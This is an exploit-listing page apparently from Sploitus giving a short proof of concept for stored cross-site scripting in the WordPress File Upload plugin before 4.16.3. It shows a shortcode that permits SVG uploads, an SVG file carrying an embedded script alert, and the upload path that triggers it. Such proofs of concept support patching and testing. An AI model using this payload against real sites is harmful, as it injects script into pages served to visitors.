Sploitus

Exploit for WordPress File Upload < 4.16.3 - Contributor+ Stored Cross-Site Scripting via Malicious SVG

wpexploit Β· 2022-02-14

Exploit Code

MARKDOWN4 lines
## https://sploitus.com/exploit?id=WPEX-ID:18902832-2973-498D-808E-C75D1AEDC11E
1. As a contributor (or above) add the following shortcode to a post: [wordpress_file_upload uploadpatterns="*.svg"]
2. Preview/view the post and upload the following xss.svg file <svg xmlns:svg="http://www.w3.org/2000/svg"><svg:script>alert(/XSS/)</svg:script></svg>
3. Go to /wp-content/uploads/xss.svg to trigger the XSS